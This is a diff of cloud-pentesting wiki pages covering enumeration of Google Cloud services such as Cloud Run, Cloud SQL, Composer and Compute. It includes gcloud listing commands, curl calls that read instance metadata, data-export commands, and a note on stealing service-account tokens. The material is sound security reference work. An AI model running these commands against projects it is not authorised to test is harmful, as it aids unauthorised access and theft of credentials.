||||
|
||||
When the HTTPS tigger is used, it's also indicated if the **caller needs to have IAM authorization** to call the Function or if **everyone** can just call it:
|
||||
|
||||
<figure><img src="../../../images/image (19).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Inside the Cloud Function
|
||||
|
||||
The code is **downloaded inside** the folder **`/workspace`** with the same file names as the ones the files have in the Cloud Function and is executed with the user `www-data`.\
|
||||
The disk **isn't mounted as read-only.**
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# List functions
|
||||
gcloud functions list
|
||||
gcloud functions describe <func_name> # Check triggers to see how is this function invoked
|
||||
gcloud functions get-iam-policy <func_name>
|
||||
|
||||
# Get logs of previous runs. By default, limits to 10 lines
|
||||
gcloud functions logs read <func_name> --limit [NUMBER]
|
||||
|
||||
# Call a function
|
||||
curl https://<region>-<project>.cloudfunctions.net/<func_name>
|
||||
gcloud functions call <func_name> --data='{"message": "Hello World!"}'
|
||||
|
||||
# If you know the name of projects you could try to BF cloud functions names
|
||||
|
||||
# Get events that could be used to trigger a cloud function
|
||||
gcloud functions event-types list
|
||||
|
||||
# Access function with authentication
|
||||
curl -X POST https://<region>-<project>.cloudfunctions.net/<func_name> \
|
||||
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
|
||||
### Privilege Escalation
|
||||
|
||||
In the following page, you can check how to **abuse cloud function permissions to escalate privileges**:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-cloudfunctions-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Unauthenticated Access
|
||||
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-cloud-functions-unauthenticated-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-cloud-functions-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,111 @@
|
||||
# GCP - Cloud Run Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Run <a href="#reviewing-cloud-run-configurations" id="reviewing-cloud-run-configurations"></a>
|
||||
|
||||
Cloud Run is a serverless managed compute platform that lets you **run containers** directly on top of Google's scalable infrastructure.
|
||||
|
||||
You can run your container or If you're using Go, Node.js, Python, Java, .NET Core, or Ruby, you can use the [source-based deployment](https://cloud.google.com/run/docs/deploying-source-code) option that **builds the container for you.**
|
||||
|
||||
Google has built Cloud Run to **work well together with other services on Google Cloud**, so you can build full-featured applications.
|
||||
|
||||
### Services and jobs <a href="#services-and-jobs" id="services-and-jobs"></a>
|
||||
|
||||
On Cloud Run, your code can either run continuously as a _**service**_ or as a _**job**_. Both services and jobs run in the same environment and can use the same integrations with other services on Google Cloud.
|
||||
|
||||
- **Cloud Run services.** Used to run code that responds to web requests, or events.
|
||||
- **Cloud Run jobs.** Used to run code that performs work (a job) and quits when the work is done.
|
||||
|
||||
## Cloud Run Service
|
||||
|
||||
Google [Cloud Run](https://cloud.google.com/run) is another serverless offer where you can search for env variables also. Cloud Run creates a small web server, running on port 8080 inside the container by default, that sits around waiting for an HTTP GET request. When the request is received, a job is executed and the job log is output via an HTTP response.
|
||||
|
||||
### Relevant details
|
||||
|
||||
- By **default**, the **access** to the web server is **public**, but it can also be **limited to internal traffic** (VPC...)\
|
||||
Moreover, the **authentication** to contact the web server can be **allowing all** or to **require authentication via IAM**.
|
||||
- By default, the **encryption** uses a **Google managed key**, but a **CMEK** (Customer Managed Encryption Key) from **KMS** can also be **chosen**.
|
||||
- By **default**, the **service account** used is the **Compute Engine default one** which has **Editor** access over the project and it has the **scope `cloud-platform`.**
|
||||
- It's possible to define **clear-text environment variables** for the execution, and even **mount cloud secrets** or **add cloud secrets to environment variables.**
|
||||
- It's also possible to **add connections with Cloud SQL** and **mount a file system.**
|
||||
- The **URLs** of the services deployed are similar to **`https://<svc-name>-<random>.a.run.app`**
|
||||
- A Run Service can have **more than 1 version or revision**, and **split traffic** among several revisions.
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# List services
|
||||
gcloud run services list
|
||||
gcloud run services list --platform=managed
|
||||
gcloud run services list --platform=gke
|
||||
|
||||
# Get info of a service
|
||||
gcloud run services describe --region <region> <svc-name>
|
||||
|
||||
# Get info of all the services together
|
||||
gcloud run services list --format=yaml
|
||||
gcloud run services list --platform=managed --format=json
|
||||
gcloud run services list --platform=gke --format=json
|
||||
|
||||
# Get policy
|
||||
gcloud run services get-iam-policy --region <region> <svc-name>
|
||||
|
||||
# Get revisions
|
||||
gcloud run revisions list --region <region>
|
||||
gcloud run revisions describe --region <region> <revision>
|
||||
|
||||
# Get domains
|
||||
gcloud run domain-mappings list
|
||||
gcloud run domain-mappings describe <name>
|
||||
|
||||
# Attempt to trigger a job unauthenticated
|
||||
curl <url>
|
||||
|
||||
# Attempt to trigger a job with your current gcloud authorization
|
||||
curl -H "Authorization: Bearer $(gcloud auth print-identity-token)" <url>
|
||||
```
|
||||
|
||||
## Cloud Run Jobs
|
||||
|
||||
Cloud Run jobs are be a better fit for **containers that run to completion and don't serve requests**. Jobs don't have the ability to serve requests or listen on a port. This means that unlike Cloud Run services, jobs should not bundle a web server. Instead, jobs containers should exit when they are done.
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
gcloud beta run jobs list
|
||||
gcloud beta run jobs describe --region <region> <job-name>
|
||||
gcloud beta run jobs get-iam-policy --region <region> <job-name>
|
||||
```
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
In the following page, you can check how to **abuse cloud run permissions to escalate privileges**:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-run-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Unauthenticated Access
|
||||
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-cloud-run-unauthenticated-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-cloud-run-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistence
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-cloud-run-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://cloud.google.com/run/docs/overview/what-is-cloud-run](https://cloud.google.com/run/docs/overview/what-is-cloud-run)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,46 @@
|
||||
# GCP - Cloud Scheduler Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Google Cloud Scheduler is a fully managed **cron job service** that allows you to run arbitrary jobs—such as batch, big data jobs, cloud infrastructure operations—at fixed times, dates, or intervals. It is integrated with Google Cloud services, providing a way to **automate various tasks like updates or batch processing on a regular schedule**.
|
||||
|
||||
Although from an offensive point of view this sounds amazing, it actually isn't that interesting because the service just allow to schedule certain simple actions at a certain time and not to execute arbitrary code.
|
||||
|
||||
At the moment of this writing these are the actions this service allows to schedule:
|
||||
|
||||
<figure><img src="../../../images/image (347).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
- **HTTP**: Send an HTTP request defining the headers and body of the request.
|
||||
- **Pub/Sub**: Send a message into an specific topic
|
||||
- **App Engine HTTP**: Send an HTTP request to an app built in App Engine
|
||||
- **Workflows**: Call a GCP Workflow.
|
||||
|
||||
## Service Accounts
|
||||
|
||||
A service account is not always required by each scheduler. The **Pub/Sub** and **App Engine HTTP** types don't require any service account. The **Workflow** does require a service account, but it'll just invoke the workflow.\
|
||||
Finally, the regular HTTP type doesn't require a service account, but it's possible to indicate that some kind of auth is required by the workflow and add either an **OAuth token or an OIDC token to the sent** HTTP request.
|
||||
|
||||
> [!CAUTION]
|
||||
> Therefore, it's possible to steal the **OIDC** token and abuse the **OAuth** token from service accounts **abusing the HTTP type**. More on this in the privilege escalation page.
|
||||
|
||||
Note that it's possible to limit the scope of the OAuth token sent, however, by default, it'll be `cloud-platform`.
|
||||
|
||||
## Enumeration
|
||||
|
||||
```bash
|
||||
# Get schedulers in a location
|
||||
gcloud scheduler jobs list --location us-central1
|
||||
|
||||
# Get information of an specific scheduler
|
||||
gcloud scheduler jobs describe --location us-central1 <scheduler-name>
|
||||
```
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-cloudscheduler-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,28 @@
|
||||
# GCP - Cloud Shell Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Google Cloud Shell is an interactive shell environment for Google Cloud Platform (GCP) that provides you with **command-line access to your GCP resources directly from your browser or shell**. It's a managed service provided by Google, and it comes with a **pre-installed set of tools**, making it easier to manage your GCP resources without having to install and configure these tools on your local machine.\
|
||||
Moreover, its offered at **no additional cost.**
|
||||
|
||||
**Any user of the organization** (Workspace) is able to execute **`gcloud cloud-shell ssh`** and get access to his **cloudshell** environment. However, **Service Accounts can't**, even if they are owner of the organization.
|
||||
|
||||
There **aren't** **permissions** assigned to this service, therefore the **aren't privilege escalation techniques**. Also there **isn't any kind of enumeration**.
|
||||
|
||||
Note that Cloud Shell can be **easily disabled** for the organization.
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-cloud-shell-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,89 @@
|
||||
# GCP - Cloud SQL Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Google Cloud SQL is a managed service that **simplifies setting up, maintaining, and administering relational databases** like MySQL, PostgreSQL, and SQL Server on Google Cloud Platform, removing the need to handle tasks like hardware provisioning, database setup, patching, and backups.
|
||||
|
||||
Key features of Google Cloud SQL include:
|
||||
|
||||
1. **Fully Managed**: Google Cloud SQL is a fully-managed service, meaning that Google handles database maintenance tasks like patching, updates, backups, and configuration.
|
||||
2. **Scalability**: It provides the ability to scale your database's storage capacity and compute resources, often without downtime.
|
||||
3. **High Availability**: Offers high availability configurations, ensuring your database services are reliable and can withstand zone or instance failures.
|
||||
4. **Security**: Provides robust security features like data encryption, Identity and Access Management (IAM) controls, and network isolation using private IPs and VPC.
|
||||
5. **Backups and Recovery**: Supports automatic backups and point-in-time recovery, helping you safeguard and restore your data.
|
||||
6. **Integration**: Seamlessly integrates with other Google Cloud services, providing a comprehensive solution for building, deploying, and managing applications.
|
||||
7. **Performance**: Offers performance metrics and diagnostics to monitor, troubleshoot, and improve database performance.
|
||||
|
||||
### Password
|
||||
|
||||
In the web console Cloud SQL allows the user to **set** the **password** of the database, there also a generate feature, but most importantly, **MySQL** allows to **leave an empty password and all of them allows to set as password just the char "a":**
|
||||
|
||||
<figure><img src="../../../images/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It's also possible to configure a password policy requiring **length**, **complexity**, **disabling reuse** and **disabling username in password**. All are disabled by default.
|
||||
|
||||
**SQL Server** can be configured with **Active Directory Authentication**.
|
||||
|
||||
### Zone Availability
|
||||
|
||||
The database can be **available in 1 zone or in multiple**, of course, it's recommended to have important databases in multiple zones.
|
||||
|
||||
### Encryption
|
||||
|
||||
By default a Google-managed encryption key is used, but it's also **possible to select a Customer-managed encryption key (CMEK)**.
|
||||
|
||||
### Connections
|
||||
|
||||
- **Private IP**: Indicate the VPC network and the database will get an private IP inside the network
|
||||
- **Public IP**: The database will get a public IP, but by default no-one will be able to connect
|
||||
- **Authorized networks**: Indicate public **IP ranges that should be allowed** to connect to the database
|
||||
- **Private Path**: If the DB is connected in some VPC, it's possible to enable this option and give **other GCP services like BigQuery access over it**
|
||||
|
||||
<figure><img src="../../../images/image (15).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Data Protection
|
||||
|
||||
- **Daily backups**: Perform automatic daily backups and indicate the number of backups you want to maintain.
|
||||
- **Point-in-time recovery**: Allows you to recover data from a specific point in time, down to a fraction of a second.
|
||||
- **Deletion Protection**: If enabled, the DB won't be able to be deleted until this feature is disabled
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# Get SQL instances
|
||||
gcloud sql instances list
|
||||
gcloud sql instances describe <inst-name> # get IPs, CACert, settings
|
||||
|
||||
# Get database names inside an instance (like information_schema, sys...)
|
||||
gcloud sql databases list --instance <intance-name>
|
||||
gcloud sql databases describe <db-name> --instance <intance-name>
|
||||
|
||||
# Get usernames inside the db instance
|
||||
gcloud sql users list --instance <intance-name>
|
||||
|
||||
# Backups
|
||||
gcloud sql backups list --instance <intance-name>
|
||||
gcloud sql backups describe <backup-name> --instance <intance-name>
|
||||
```
|
||||
|
||||
### Unauthenticated Enum
|
||||
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-cloud-sql-unauthenticated-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-cloud-sql-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,43 @@
|
||||
# GCP - Composer Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Google Cloud Composer** is a fully managed **workflow orchestration service** built on **Apache Airflow**. It enables you to author, schedule, and monitor pipelines that span across clouds and on-premises data centers. With GCP Composer, you can easily integrate your workflows with other Google Cloud services, facilitating efficient data integration and analysis tasks. This service is designed to simplify the complexity of managing cloud-based data workflows, making it a valuable tool for data engineers and developers handling large-scale data processing tasks.
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# Get envs info
|
||||
gcloud composer environments list --locations <loc>
|
||||
gcloud composer environments describe --location <loc> <environment>
|
||||
|
||||
# Get list of dags
|
||||
gcloud composer environments storage dags list --environment <environment> --location <loc>
|
||||
# Download dags code
|
||||
mkdir /tmp/dags
|
||||
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
|
||||
|
||||
# List Data from composer
|
||||
gcloud composer environments storage data list --environment <environment> --location <loc>
|
||||
# Download data
|
||||
mkdir /tmp/data
|
||||
gcloud composer environments storage data export --environment <environment> --location <loc> --destination /tmp/data
|
||||
|
||||
# List Plugins from composer
|
||||
gcloud composer environments storage plugins list --environment <environment> --location <loc>
|
||||
# Download plugins
|
||||
mkdir /tmp/plugins
|
||||
gcloud composer environments storage data export --environment <environment> --location <loc> --destination /tmp/plugins
|
||||
```
|
||||
|
||||
### Privesc
|
||||
|
||||
In the following page you can check how to **abuse composer permissions to escalate privileges**:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-composer-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,231 @@
|
||||
# GCP - Compute Enum
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## GCP VPC & Networking
|
||||
|
||||
Learn about how this works in:
|
||||
|
||||
{{#ref}}
|
||||
gcp-vpc-and-networking.md
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# List networks
|
||||
gcloud compute networks list
|
||||
gcloud compute networks describe <network>
|
||||
|
||||
# List subnetworks
|
||||
gcloud compute networks subnets list
|
||||
gcloud compute networks subnets get-iam-policy <name> --region <region>
|
||||
gcloud compute networks subnets describe <name> --region <region>
|
||||
|
||||
# List FW rules in networks
|
||||
gcloud compute firewall-rules list --format="table(
|
||||
name,
|
||||
network,
|
||||
direction,
|
||||
priority,
|
||||
sourceRanges.list():label=SRC_RANGES,
|
||||
destinationRanges.list():label=DEST_RANGES,
|
||||
allowed[].map().firewall_rule().list():label=ALLOW,
|
||||
denied[].map().firewall_rule().list():label=DENY,
|
||||
sourceTags.list():label=SRC_TAGS,
|
||||
sourceServiceAccounts.list():label=SRC_SVC_ACCT,
|
||||
targetTags.list():label=TARGET_TAGS,
|
||||
targetServiceAccounts.list():label=TARGET_SVC_ACCT,
|
||||
disabled
|
||||
)"
|
||||
|
||||
# List Hierarchical Firewalls
|
||||
gcloud compute firewall-policies list (--folder <value>| --organization <value>)
|
||||
gcloud compute firewall-policies describe <fw_policy>
|
||||
gcloud compute firewall-policies list-rules <fw_policy>
|
||||
|
||||
# Get Firewalls of each region
|
||||
gcloud compute network-firewall-policies list
|
||||
## Get final FWs applied in a region
|
||||
gcloud compute network-firewall-policies get-effective-firewalls --network=<vpc_name> --region <region>
|
||||
```
|
||||
|
||||
You easily find compute instances with open firewall rules with [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_firewall_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_firewall_enum)
|
||||
|
||||
## Compute instances
|
||||
|
||||
This is the way you can **run virtual machines inside GCP.** Check this page for more information:
|
||||
|
||||
{{#ref}}
|
||||
gcp-compute-instance.md
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# Get list of zones
|
||||
# It's interesting to know which zones are being used
|
||||
gcloud compute regions list | grep -E "NAME|[^0]/"
|
||||
|
||||
# List compute instances & get info
|
||||
gcloud compute instances list
|
||||
gcloud compute instances describe <instance name>
|
||||
gcloud compute instances get-iam-policy <instance> --zone=ZONE
|
||||
gcloud compute instances get-screenshot <instance name> # Instace must have "Display Device" enabled
|
||||
gcloud compute instances os-inventory list-instances # Get OS info of instances (OS Config agent is running on instances)
|
||||
|
||||
|
||||
# Enumerate disks
|
||||
gcloud compute disks list
|
||||
gcloud compute disks describe <disk>
|
||||
gcloud compute disks get-iam-policy <disk>
|
||||
```
|
||||
|
||||
For more information about how to **SSH** or **modify the metadata** of an instance to **escalate privileges,** check this page:
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md
|
||||
{{#endref}}
|
||||
|
||||
### Privilege Escalation
|
||||
|
||||
In the following page, you can check how to **abuse compute permissions to escalate privileges**:
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-privilege-escalation/gcp-compute-privesc/
|
||||
{{#endref}}
|
||||
|
||||
### Unauthenticated Enum
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-unauthenticated-enum-and-access/gcp-compute-unauthenticated-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-post-exploitation/gcp-compute-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-persistence/gcp-compute-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## Serial Console Logs
|
||||
|
||||
Compute Engine Serial Console Logs are a feature that allows you to **view and diagnose the boot and operating system logs** of your virtual machine instances.
|
||||
|
||||
Serial Console Logs provide a **low-level view of the instance's boot process**, including kernel messages, init scripts, and other system events that occur during boot-up. This can be useful for debugging boot issues, identifying misconfigurations or software errors, or troubleshooting network connectivity problems.
|
||||
|
||||
These logs **may expose sensitive information** from the system logs which low privileged user may not usually see, but with the appropriate IAM permissions you may be able to read them.
|
||||
|
||||
You can use the following [gcloud command](https://cloud.google.com/sdk/gcloud/reference/compute/instances/get-serial-port-output) to query the serial port logs (the permission required is `compute.instances.getSerialPortOutput`):
|
||||
|
||||
```bash
|
||||
gcloud compute instances get-serial-port-output <instance-name>
|
||||
```
|
||||
|
||||
## Startup Scripts output
|
||||
|
||||
It's possible to see the **output of the statup scripts** from the VM executing:
|
||||
|
||||
```bash
|
||||
sudo journalctl -u google-startup-scripts.service
|
||||
```
|
||||
|
||||
## OS Configuration Manager
|
||||
|
||||
You can use the OS configuration management service to **deploy, query, and maintain consistent configurations** (desired state and software) for your VM instance (VM). On Compute Engine, you must use [guest policies](https://cloud.google.com/compute/docs/os-config-management#guest-policy) to maintain consistent software configurations on a VM.
|
||||
|
||||
The OS Configuration management feature allows you to define configuration policies that specify which software packages should be installed, which services should be enabled, and which files or configurations should be present on your VMs. You can use a declarative approach to managing the software configuration of your VMs, which enables you to automate and scale your configuration management process more easily.
|
||||
|
||||
This also allow to login in instances via IAM permissions, so it's very **useful for privesc and pivoting**.
|
||||
|
||||
> [!WARNING]
|
||||
> In order to **enable os-config in a whole project or in an instance** you just need to set the **metadata** key **`enable-oslogin`** to **`true`** at the desired level.\
|
||||
> Moreover, you can set the metadata **`enable-oslogin-2fa`** to **`true`** to enable the 2fa.
|
||||
>
|
||||
> When you enable it when crating an instance the metadata keys will be automatically set.
|
||||
|
||||
More about **2fa in OS-config**, **it only applies if the user is a user**, if it's a SA (like the compute SA) it won't require anything extra.
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
gcloud compute os-config patch-deployments list
|
||||
gcloud compute os-config patch-deployments describe <patch-deployment>
|
||||
|
||||
gcloud compute os-config patch-jobs list
|
||||
gcloud compute os-config patch-jobs describe <patch-job>
|
||||
```
|
||||
|
||||
## Images
|
||||
|
||||
### Custom Images
|
||||
|
||||
**Custom compute images may contain sensitive details** or other vulnerable configurations that you can exploit.
|
||||
|
||||
When an image is created you can choose **3 types of encryption**: Using **Google managed key** (default), a **key from KMS**, or a **raw key** given by the client.
|
||||
|
||||
#### Enumeration
|
||||
|
||||
You can query the list of non-standard images in a project with the following command:
|
||||
|
||||
```bash
|
||||
gcloud compute machine-images list
|
||||
gcloud compute machine-images describe <name>
|
||||
gcloud compute machine-images get-iam-policy <name>
|
||||
```
|
||||
|
||||
You can then [**export**](https://cloud.google.com/sdk/gcloud/reference/compute/images/export) **the virtual disks** from any image in multiple formats. The following command would export the image `test-image` in qcow2 format, allowing you to download the file and build a VM locally for further investigation:
|
||||
|
||||
```bash
|
||||
gcloud compute images export --image test-image \
|
||||
--export-format qcow2 --destination-uri [BUCKET]
|
||||
|
||||
# Execute container inside a docker
|
||||
docker run --rm -ti gcr.io/<project-name>/secret:v1 sh
|
||||
```
|
||||
|
||||
#### Privilege Escalation
|
||||
|
||||
Check the Compute Instances privilege escalation section.
|
||||
|
||||
### Custom Instance Templates
|
||||
|
||||
An [**instance template**](https://cloud.google.com/compute/docs/instance-templates/) **defines instance properties** to help deploy consistent configurations. These may contain the same types of sensitive data as a running instance's custom metadata. You can use the following commands to investigate:
|
||||
|
||||
```bash
|
||||
# List the available templates
|
||||
gcloud compute instance-templates list
|
||||
|
||||
# Get the details of a specific template
|
||||
gcloud compute instance-templates describe [TEMPLATE NAME]
|
||||
```
|
||||
|
||||
It could be interesting to know which disk is new images using, but these templates won't usually have sensitive information.
|
||||
|
||||
## Snapshots
|
||||
|
||||
The **snapshots are backups of disks**. Note that this is not the same as cloning a disk (another available feature).\
|
||||
The **snapshot** will use the **same encryption as the disk** it's taken from.
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
gcloud compute snapshots list
|
||||
gcloud compute snapshots describe <snapshot>
|
||||
gcloud compute snapshots get-iam-policy <snapshot>
|
||||
```
|
||||
|
||||
### Privilege Escalation
|
||||
|
||||
Check the Compute Instances privilege escalation section.
|
||||
|
||||
## References
|
||||
|
||||
- [https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching](https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+103
@@ -0,0 +1,103 @@
|
||||
# GCP - Compute Instances
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Google Cloud Compute Instances are **customizable virtual machines on Google's cloud infrastructure**, offering scalable and on-demand computing power for a wide range of applications. They provide features like global deployment, persistent storage, flexible OS choices, and strong networking and security integrations, making them a versatile choice for hosting websites, processing data, and running applications efficiently in the cloud.
|
||||
|
||||
### Confidential VM
|
||||
|
||||
Confidential VMs use **hardware-based security features** offered by the latest generation of AMD EPYC processors, which include memory encryption and secure encrypted virtualization. These features enable the VM to protect the data processed and stored within it from even the host operating system and hypervisor.
|
||||
|
||||
To run a Confidential VM it might need to **change** things like the **type** of the **machine**, network **interface**, **boot disk image**.
|
||||
|
||||
### Disk & Disk Encryption
|
||||
|
||||
It's possible to **select the disk** to use or **create a new one**. If you select a new one you can:
|
||||
|
||||
- Select the **size** of the disk
|
||||
- Select the **OS**
|
||||
- Indicate if you want to **delete the disk when the instance is deleted**
|
||||
- **Encryption**: By **default** a **Google managed key** will be used, but you can also **select a key from KMS** or indicate **raw key to use**.
|
||||
|
||||
### Deploy Container
|
||||
|
||||
It's possible to deploy a **container** inside the virtual machine.\
|
||||
It possible to configure the **image** to use, set the **command** to run inside, **arguments**, mount a **volume**, and **env variables** (sensitive information?) and configure several options for this container like execute as **privileged**, stdin and pseudo TTY.
|
||||
|
||||
### Service Account
|
||||
|
||||
By default, the **Compute Engine default service account** will be used. The email of this SA is like: `<proj-num>-compute@developer.gserviceaccount.com`\
|
||||
This service account has **Editor role over the whole project (high privileges).**
|
||||
|
||||
And the **default access scopes** are the following:
|
||||
|
||||
- **https://www.googleapis.com/auth/devstorage.read\_only** -- Read access to buckets :)
|
||||
- https://www.googleapis.com/auth/logging.write
|
||||
- https://www.googleapis.com/auth/monitoring.write
|
||||
- https://www.googleapis.com/auth/servicecontrol
|
||||
- https://www.googleapis.com/auth/service.management.readonly
|
||||
- https://www.googleapis.com/auth/trace.append
|
||||
|
||||
However, it's possible to **grant it `cloud-platform` with a click** or specify **custom ones**.
|
||||
|
||||
<figure><img src="../../../../images/image (327).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Firewall
|
||||
|
||||
It's possible to allow HTTP and HTTPS traffic.
|
||||
|
||||
<figure><img src="../../../../images/image (326).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Networking
|
||||
|
||||
- **IP Forwarding**: It's possible to **enable IP forwarding** from the creation of the instance.
|
||||
- **Hostname**: It's possible to give the instance a permanent hostname.
|
||||
- **Interface**: It's possible to add a network interface
|
||||
|
||||
### Extra Security
|
||||
|
||||
These options will **increase the security** of the VM and are recommended:
|
||||
|
||||
- **Secure boot:** Secure boot helps protect your VM instances against boot-level and kernel-level malware and rootkits.
|
||||
- **Enable vTPM:** Virtual Trusted Platform Module (vTPM) validates your guest VM pre-boot and boot integrity, and offers key generation and protection.
|
||||
- **Integrity supervision:** Integrity monitoring lets you monitor and verify the runtime boot integrity of your shielded VM instances using Stackdriver reports. Requires vTPM to be enabled.
|
||||
|
||||
### VM Access
|
||||
|
||||
The common way to enable access to the VM is by **allowing certain SSH public keys** to access the VM.\
|
||||
However, it's also possible to **enable the access to the VM vial `os-config` service using IAM**. Moreover, it's possible to enable 2FA to access the VM using this service.\
|
||||
When this **service** is **enabled**, the access via **SSH keys is disabled.**
|
||||
|
||||
<figure><img src="../../../../images/image (328).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Metadata
|
||||
|
||||
It's possible to define **automation** (userdata in AWS) which are **shell commands** that will be executed every time the machine turns on or restarts.
|
||||
|
||||
It's also possible to **add extra metadata key-value values** that are going to be accessible from the metadata endpoint. This info is commonly used for environment variables and startup/shutdown scripts. This can be obtained using the **`describe` method** from a command in the enumeration section, but it could also be retrieved from the inside of the instance accessing the metadata endpoint.
|
||||
|
||||
```bash
|
||||
# view project metadata
|
||||
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
|
||||
-H "Metadata-Flavor: Google"
|
||||
|
||||
# view instance metadata
|
||||
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
|
||||
-H "Metadata-Flavor: Google"
|
||||
```
|
||||
|
||||
Moreover, **auth token for the attached service account** and **general info** about the instance, network and project is also going to be available from the **metadata endpoint**. For more info check:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#6440
|
||||
{{#endref}}
|
||||
|
||||
### Encryption
|
||||
|
||||
A Google-managed encryption key is used by default a but a Customer-managed encryption key (CMEK) can be configured. You can also configure what to do when the used CMEF is revoked: Noting or shut down the VM.
|
||||
|
||||
<figure><img src="../../../../images/image (329).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+85
@@ -0,0 +1,85 @@
|
||||
# GCP - VPC & Networking
|
